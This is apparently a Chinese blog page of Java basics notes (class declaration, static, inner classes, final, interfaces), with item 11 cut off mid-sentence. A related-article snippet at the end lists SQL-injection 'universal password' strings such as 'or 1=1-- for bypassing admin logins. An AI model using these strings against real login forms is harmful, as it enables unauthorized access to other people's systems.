Java知识合集

1、认识类声明的区别

  使用“public class 类名称”声明一个类时,类名称必须与文件名称一致,否则程序无法编译;

  使用“class 类名称”声明一个类时,类名称可以与文件名称不一致,但是在执行时一定要执行生成后的*.class,

  例如:TestClass.java文件声明类为Demo,执行为Demo.class;

  在一个java文件中可以有多个类的定义,但只要一个public class声明的类;

  Java命名规则,类的定义,类名称中每个单词的首字母必须大写。

2、java的注释

  单行注释,“//”;

  多行注释,“/*”与“*/";

  文档注释,”/**”开头“*/”结尾。

  eclipse中在函数前一行使用/**(这里回车) */自动生成函数说明

3、Java标识符规则

  Java中的包、类、方法、参数和变量的名称可由任意顺序的大小写字母、数字、下划线和美元

  符号($)组成,但标识符不能以数字开头,也不能是Java中的保留关键字。

  class、67.9、Hello LinXingHua是非法的标识符。

4、数组声明和对象实例化的内存分配

  int sarray[];  栈内存开辟空间保存数组名称sarry;

  sarray = new int[3];   堆内存开辟sarray数组内存空间。

  Person person1;  栈内存开辟空间保存对象名称person1;

  person1 = new Person();   堆内存开辟person1对象内存空间。

5、Java常用内存区域

  (1)栈内存空间:保存所有的对象名称(保存了引用的堆内存空间的地址)。

  (2)堆内存空间:保存每个对象的具体属性内容。

  (3)全局数据区:保存static类型的属性。

  (4)全局代码区:保存所有的方法定义。

6、java中static关键字

  static属性是所有对象共享的。

  非static声明的方法可以调用static声明的属性和方法;但static声明的方法是不能调用非static声明的属性和方法。

  因为非static声明的属性和方法必须在对象开辟堆内存空间之后才可以调用,而static声明的方法在对象未实例化时

  就可以被类名调用。

  单例模式:类永远只会有一个实例化对象存在。即将构造方法私有化(private),通过类的static方法getInstance()获得类内部自实例化对象。

7、代码块

  代码块:用{}括起来的一段代码,根据位置分类:普通代码块、构造块、静态代码块、同步代码块。

  普通代码块:指直接在方法或语句中定义的代码块;

  构造块:直接写在类中的代码块;构造块优先于构造方法执行,每次实例化对象时都执行。

  静态代码块:使用static声明的代码块;类定义的静态代码块优先于构造块执行,跟对象无关只执行一次

8、内部类

  1、类中定义内部类

  内部类好处:可以方便访问外部类的私有属性。

  外部访问内部类:

    (1)非static内部类:外部类.内部类 内部类对象 = 外部类实例.new 内部类();

    (2)static内部类:外部类.内部类 内部类对象 = new 外部类.内部类();

  2、方法中定义内部类

  方法中定义的内部类不能直接访问方法中的参数,参数前必须加上final关键字才能被内部类访问。

9、final关键字

  (1)final声明的类不能有子类;

  (2)final声明的方法不能被子类所覆写;

  (3)final声明的变量即成为常量,常量不可以修改。

  final变量命名规则:final声明的变量字母全部大写。

10、抽象类和接口

  1、抽象类

  (1)包含抽象方法的类必须为抽象类;

  (2)抽象类和抽象方法由abstract关键字声明;

  (3)抽象方法只需声明而不需实现;

  (4)抽象类必须被子类继承,子类(如果不是抽象类)必须覆写全部抽象方法。

  2、接口:特殊的抽象类,由全局常量和公共(public)的抽象方法所组成。

    接口可继承多接口 interface A extends B,C;

11、装箱和拆箱

  装箱:将一个基本数据类型变为包装类的过程;

  拆箱:将一个包装类变

12、静态导入

  import static 包.类.*;

  一个类中的方法全部使用static声明的静态方法可以静态导入。

  可以直接调用这些方法,无须:类.静态方法(); 方式调用,直接调用: 静态方法();

13、多线程Runnable

  一个多线程程序通过Runnable接口实现,意味着类中的属性将被多个线程共享。

时间: 2024-08-06 03:42:47

Java知识合集的相关文章

java并发知识合集(前置知识——java内存模型)

JMM规范: 一.概念:规范了java虚拟机与计算机内存如何协同工作,它规定了一个线程如何和何时可以看到其他线程修改过的共享变量的值,以及在必须时如何同步地访问共享变量. 备注:如果两个线程同时调用了同一个对象的同一个方法,他们都会访问这个对象的成员变量,此时这个两个线程拥有的只是这个对象的私有拷贝. 如图: 二.八种同步操作 1.luck(锁定):作用于主内存的变量,它把一个变量标示为一条线程独占的状态. 2.unlock(解锁):作用于主内存的变量,它把一个处于锁定状态的变量释放出来,释放后

OO先导课——JAVA初见懵的知识合集

常见操作 数组 //声明 *数组也是对象,长度是一个属性 int[] i=new int[5]; int[] i={0,1}; String[] str=new String[5];//字符串数组,双引号,与char字符数组区分 String[] str={"a","b"}; //求长度 数组在起始的时候,长度就 已经确定了(只是一个属性,'\0'没用)//参考:http://www.cnblogs.com/entry-android/p/5539362.htmln

java连接数据库合集

一.直连接数据库 1 Java 连接 OralceClass.forName("oracle.jdbc.driver.OracleDriver").newInstance(); String url="jdbc:oracle:thin:@localhost:1521:orcl";   Connection conn= DriverManager.getConnection(url,user,password); 2 Java 连接 MySQLClass.forNam

电商交易背景知识合集第一季

郑昀编纂 基于网络资料 创建于2015/9/7 最后更新于2015/9/7 特别感谢知乎梁川.天顺等知乎网友的精彩答案 本文档适用人员:交易领域的产品研发人员 提纲: 银联 一些错综复杂的关系 银联是什么 银联商务是什么 快捷支付绕过银联了吗 能通过卡号判断是对公账户或对私账户吗 快捷支付 为什么要推快捷支付 POS POS签单上的各种号码 信用卡刷卡后都发生了什么 第三方支付公司 为什么需要有备付金 直联网关和间联网关 何谓银企直连 支付宝是怎么对账的 我们作为商户如何接入 预付费卡牌照与第三

Android知识合集

1.Intent(意图) 显式意图:调用Intent.setComponent()或Intent.setClass()方法明确指定组件名, 明确指定了Intent应该传递给哪个组件. 隐式意图:没有明确指定组件名,android系统根据隐式意图中设置的动作(action). 类别(category).数据(Uri和数据类型)找最合适的组件来处理. 2.android textview内容超长滚动视图 1.首先xml文件TextView配置 <TextView android:id="@+i

python小知识合集

前言 学习过程中难免会遇到问题,将所遇到的一些小问题解决并整理起来.就像写日记一样的来写这篇博客. 变量存储 python中当数据存储所需要的内存不大时,python为了节省内存对于值一样的变量只开辟一块内存,也就是说两个变量公用同一个内存地址.对于list.tuple.dict.set这一类数据类型比str.int.float这些数据类型存储所需要的内存更大,就算元素为空,值一样的变量也会一一开辟一块内存来存储数据. 字符串中那些细节 字符串拼接的“+”已经在数据类型篇说过了,万恶的“+”.

iOS知识合集

一.多线程开发的理解以及iOS中有几种实现多线程的方法? 好处: 1.使用线程可以把程序中占据时间长的任务放到后台去处理,如图片.视频的下载: 2.发挥多核处理器的优势,并发执行让系统运行的更快.更流畅,用户体验更好. 缺点: 1.大量的线程降低代码的可读性: 2.更多的线程需要更多的内存空间: 3.当多个线程对同一个资源出现争夺的时候要注意线程安全的问题. iOS有三种多线程编程的技术: 1.NSThread(两种创建方式)[NSThread detachNewThreadSelector:@

MYSQL数据库相关知识合集

1  MYSQL取得某一范围随机数: 关键词:RAND() [产生0~1之间的随机数] mysql> SELECT RAND( ), RAND( ), RAND( ); +------------------+-----------------+------------------+ | RAND( ) | RAND( ) | RAND( ) | +------------------+-----------------+------------------+ | 0.4546458492564

万能密码-知识合集

所谓万能密码就是绕过登录验证直接进入管理员后台的密码,这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能.分享给大家.. 希望对大家有所帮助!asp aspx万能密码1:"or "a"="a2:'.).or.('.a.'='.a 3:or 1=1--4:'or 1=1--5:a'or' 1=1--6:"or 1=1--7:'or.'a.'='a8:"or"="a'='a9:'or''='10:'or'='or' adm